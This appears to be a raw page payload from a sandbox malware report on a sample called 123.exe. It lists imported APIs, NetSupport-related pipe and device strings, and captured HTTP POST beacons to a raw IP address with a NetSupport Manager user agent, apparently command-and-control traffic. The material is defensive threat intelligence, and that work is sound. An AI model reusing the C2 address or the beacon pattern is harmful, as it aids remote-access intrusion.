26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 67:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T499,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Adware.Generic Sample 33b22fce68d5… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 33b22fce68d5…. Malware family: Adware.Generic. Threat score 100/100. 9/25 AV engines flagged this file. 5 malicious and 29 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","keywords":["Malicious","Adware.Generic","malware analysis","sandbox report","threat intelligence","33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272"],"about":{"@type":"SoftwareApplication","name":"123.exe","applicationCategory":["peexe","executable","compressed","sfx","rar"],"identifier":"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Adware.Generic","antivirusDetections":{"malicious":9,"total":25},"behavioralIndicators":{"malicious":5,"suspicious":29},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T41f7,Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteFileW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesW"; Source: "sample.bin"), Found reference to API (Indicator: "SetForegroundWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessAffinityMask"; Source: "sample.bin"), Found reference to API (Indicator: "GetLocaleInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GetNumberFormatW"; Source: "sample.bin"), Found reference to API (Indicator: "GetExitCodeProcess"; Source: "sample.bin"), Found reference to API (Indicator: "RtlUnwind"; Source: "sample.bin"), Found reference to API (Indicator: "CreateSemaphoreW"; Source: "sample.bin"), Found reference to API (Indicator: "FlushFileBuffers"; Source: "sample.bin"), Found reference to API (Indicator: "FreeSid"; Source: "sample.bin"), Found reference to API (Indicator: "SetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "SetThreadExecutionState"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetPathFromIDListW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateWindowExW"; Source: "sample.bin"), Found reference to API (Indicator: "DefWindowProcW"; Source: "sample.bin"), Found reference to API (Indicator: "SetEndOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryW"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalFree"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringEx"; Source: "sample.bin"), Found reference to API (Indicator: "TranslateMessage"; Source: "sample.bin"), Found reference to API (Indicator: "CreateThread"; Source: "sample.bin"), Found reference to API (Indicator: "ShellExecuteExW"; Source: "sample.bin"), Found reference to API (Indicator: "TlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryValueExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleW"; Source: "sample.bin"), Found reference to API (Indicator: "SetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "DeviceIoControl"; Source: "sample.bin"), Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "RegSetValueExW"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileAttributesW"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "HeapAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "FlsFree"; Source: "sample.bin"), Found reference to API (Indicator: "DestroyIcon"; Source: "sample.bin"), Found reference to API (Indicator: "FlsAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowPos"; Source: "sample.bin"), Found reference to API (Indicator: "ShowWindow"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteDC"; Source: "sample.bin"), Found reference to API (Indicator: "HeapFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemInfo"; Source: "sample.bin"), Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "DispatchMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeSListHead"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteObject"; Source: "sample.bin"), Found reference to API (Indicator: "TlsSetValue"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindowVisible"; Source: "sample.bin"), Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileExA"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "sample.bin"), Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleMode"; Source: "sample.bin"), Found reference to API (Indicator: "CreateHardLinkW"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileW"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessHeap"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "RaiseException"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileW"; Source: "sample.bin"), Found reference to API (Indicator: "FlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "CryptUnprotectMemory"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CheckTokenMembership"; Source: "sample.bin"), Found reference to API (Indicator: "GetParent"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "EncodePointer"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempPathW"; Source: "sample.bin"), Found reference to API (Indicator: "RegCloseKey"; Source: "sample.bin"), Found reference to API (Indicator: "FreeConsole"; Source: "sample.bin"), Found reference to API (Indicator: "CreateCompatibleBitmap"; Source: "sample.bin"), Found reference to API (Indicator: "LeaveCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "sample.bin"), Found reference to API (Indicator: "EnterCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "RemoveDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "WideCharToMultiByte"; Source: "sample.bin"), Found reference to API (Indicator: "SizeofResource"; Source: "sample.bin"), Found reference to API (Indicator: "ResetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "LoadCursorW"; Source: "sample.bin"), Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalLock"; Source: "sample.bin"), Found reference to API (Indicator: "FindClose"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "UnmapViewOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "SetDefaultDllDirectories"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleExW"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindow"; Source: "sample.bin"), Found reference to API (Indicator: "LocaleNameToLCID"; Source: "sample.bin"), Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "sample.bin"), Found reference to API (Indicator: "wvsprintfW"; Source: "sample.bin"), Found reference to API (Indicator: "GetObjectW"; Source: "sample.bin"), Found reference to API (Indicator: "SetCurrentDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "sample.bin"), Found reference to API (Indicator: "GetTickCount"; Source: "sample.bin"), Found reference to API (Indicator: "UpdateWindow"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualQuery"; Source: "sample.bin"), Found reference to API (Indicator: "AttachConsole"; Source: "sample.bin"), Found reference to API (Indicator: "GetDC"; Source: "sample.bin"), Found reference to API (Indicator: "CreateCompatibleDC"; Source: "sample.bin"), Found reference to API (Indicator: "SHFileOperationW"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointer"; Source: "sample.bin"), Found reference to API (Indicator: "TzSpecificLocalTimeToSystemTime"; Source: "sample.bin"), Found reference to API (Indicator: "MapWindowPoints"; Source: "sample.bin"), Found reference to API (Indicator: "OemToCharBuffA"; Source: "sample.bin"), Found reference to API (Indicator: "SetFocus"; Source: "sample.bin"), Found reference to API (Indicator: "GetACP"; Source: "sample.bin"), Found reference to API (Indicator: "GetShortPathNameW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSysColor"; Source: "sample.bin"), Found reference to API (Indicator: "StretchBlt"; Source: "sample.bin"), Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "sample.bin"), Found reference to API (Indicator: "FileTimeToLocalFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "sample.bin"), Found reference to API (Indicator: "DestroyWindow"; Source: "sample.bin"), Found reference to API (Indicator: "SelectObject"; Source: "sample.bin"), Found reference to API (Indicator: "OpenFileMappingW"; Source: "sample.bin"), Found reference to API (Indicator: "IsValidCodePage"; Source: "sample.bin"), Found reference to API (Indicator: "GetTimeFormatW"; Source: "sample.bin"), Found reference to API (Indicator: "SHBrowseForFolderW"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "OleInitialize"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetMalloc"; Source: "sample.bin"), Found reference to API (Indicator: "HeapSize"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowTextW"; Source: "sample.bin"), Found reference to API (Indicator: "CharUpperW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileMappingW"; Source: "sample.bin"), Found reference to API (Indicator: "MapViewOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThreadId"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileType"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetLongPathNameW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCPInfo"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "IsDebuggerPresent"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "GetClientRect"; Source: "sample.bin"), Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExW"; Source: "sample.bin"), Found reference to API (Indicator: "TlsAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExA"; Source: "sample.bin"), Found reference to API (Indicator: "LoadIconW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowRect"; Source: "sample.bin"), Found reference to API (Indicator: "FoldStringW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTime"; Source: "sample.bin"), Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "sample.bin"), Found reference to API (Indicator: "SetThreadPriority"; Source: "sample.bin"), Found reference to API (Indicator: "GetDeviceCaps"; Source: "sample.bin"), Found reference to API (Indicator: "GetFullPathNameW"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseDC"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleCP"; Source: "sample.bin"), Found reference to API (Indicator: "SetDllDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "CoCreateInstance"; Source: "sample.bin"), Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowTextW"; Source: "sample.bin"), Found reference to API (Indicator: "OleUninitialize"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseSemaphore"; Source: "sample.bin"), Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "sample.bin"), Found reference to API (Indicator: "TlsFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "EnableWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersionExW"; Source: "sample.bin"), Found reference to API (Indicator: "PeekMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateEventW"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetFileInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualProtect"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalUnlock"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineW"; Source: "sample.bin"), Found reference to API (Indicator: "MoveFileExW"; Source: "sample.bin"), Found reference to API (Indicator: "CompareStringW"; Source: "sample.bin"), Found reference to API (Indicator: "LoadStringW"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "DecodePointer"; Source: "sample.bin"), Found reference to API (Indicator: "FlsSetValue"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "CopyRect"; Source: "sample.bin"), Found reference to API (Indicator: "LoadResource"; Source: "sample.bin"), Found reference to API (Indicator: "GetOEMCP"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateProcess"; Source: "sample.bin"), Found reference to API (Indicator: "RegCreateKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "CreateStreamOnHGlobal"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileA"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringW"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileW"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointerEx"; Source: "sample.bin"), Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "sample.bin"), Found reference to API (Indicator: "WriteConsoleW"; Source: "sample.bin"), Found reference to API (Indicator: "GetOpenFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "CryptProtectMemory"; Source: "sample.bin"), Found reference to API (Indicator: "MoveFileW"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileSecurityW"; Source: "sample.bin"), Found reference to API (Indicator: "CLSIDFromString"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "AllocConsole"; Source: "sample.bin"), Found reference to API (Indicator: "LockResource"; Source: "sample.bin"), Found reference to API (Indicator: "GetDateFormatW"; Source: "sample.bin"), Found reference to API (Indicator: "MultiByteToWideChar"; Source: "sample.bin"), Found reference to API (Indicator: "HeapReAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetSaveFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "GetStringTypeW"; Source: "sample.bin"), Found reference to API (Indicator: "SetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMetrics"; Source: "sample.bin"), Found reference to API (Indicator: "GetLocalTime"; Source: "sample.bin"), Found reference to API (Indicator: "WaitForSingleObject"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "FindResourceW"; Source: "sample.bin")28:T690,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "123.exe") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; File: "123.exe") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "123.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "123.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "123.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000000.106018.73A55000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "SCardFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "WlanFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp")29:T6f5,Found string - \\.\NSAudioFilter; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\NSWFPDrv; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\pipe\nsm_ctl32_show_%d; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\PointerClass0; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\KeyboardClass0; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\pipe\nsm_vistapipe%d; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\pipe\nsm_%s; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\pipe\nsm_dosboxwpipe; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\pipe\nsm_dosboxrpipe; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\pipe\nsm_vistauipipe%d; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\pcisys; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\pipe\nsm_printpipe; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\pipe\nsm_gdihook_recv; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\PCISYS\r2; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\pipe\nsm_gdihook_send; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\PCISYS\w1; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found string - \\.\NSPSCR; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp")2a:T171c,Contains base64 string in header "POST" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "http" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "//45" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "3Content" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "form" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "74Connection" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "POST" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 250Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "http" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 250Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "//45" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 250Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "3Content" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 250Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 250Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "form" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 250Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "74Connection" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 250Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 250Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "POST" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "http" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "//45" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "3Content" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "form" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "74Connection" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 45.61.128.74Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache"2b:T2248,"123.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001540) "123.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001400000038481701f4471701f39b9e77684b17018c0f400314000000e01c400338481701000000001c481701977f9e7738481701041d4003e99ca07700080000904fdf7500000000041d4003e01c4003fabab9c8404817017245c57500000000b050df75ffffffffadb839005c000000b050df750008000026f73900306c1701 (UID: 00000000-00001540) "123.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001540) "123.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000c8f117016cf11701226e117700002a03000000002d6e1177621414c42d000000ecb74474f0f117010000290330b34103808a4003130000008000000030f1170100002903b4f1170170c81277f69414b2feffffff2d000000d0cc53742700000084f11701856a13771c231877c4f11701f85f137708000000bb691277b2691277ca1414c42d000000ecb7447427000000d0cc537498f117012d000000d0cc537427000000c8f11701856a13771c23187710f217017e8a5274ee8c5274738a52743f6e5eb12d000000ecb7447427000000d0cc5374dc262a0370262a033f6e5eb1d8f11701fc529074c4f21701e0845274176dc7c4feffffff738a5274 (UID: 00000000-00001540) "123.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000009f77000000000100000044f91701fc86e1702a00e870fb8c9f770000000000000000fc86e17018fa17010000000000000000000000002a00e870090000000809420309000000fc86e1700000000050054072180000007a1ac59ba3835072280b17010000000040fd170140b15072e69d80e8feffffffd8f917013a904f7288f91701000000000000000053904f7204fa17010000000000000000000000000000000000000000000000000100000000000000010000000000000000fa17010000000010fa17010000000004fa17010000000000000000000000004b00d575921ac59b18fa170184dac375160bb9c81cfa1701dab9c3750000377210fa1701 (UID: 00000000-00001540) "123.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000010c8130138cf9f77042440037cc8130101000000b823400304244003b8234003040000000400000000e0cf75001000007cc8130101000000b8234003cd979f779c979f776e38bdc8b50fc675b823400300009f77000000007c1abc740000000080eecc750100000000000000f8e2cf750000000004000000000000004840ce75f8e2cf7580c8130180e8bc76680a420380e8bc767cc813010000000080e8bc7600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000365d4f034c5d4f03 (UID: 00000000-00001540) "123.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000ce9a4b03e69a4b03 (UID: 00000000-00001540) "123.exe" called "RtlGetVersion" with parameter 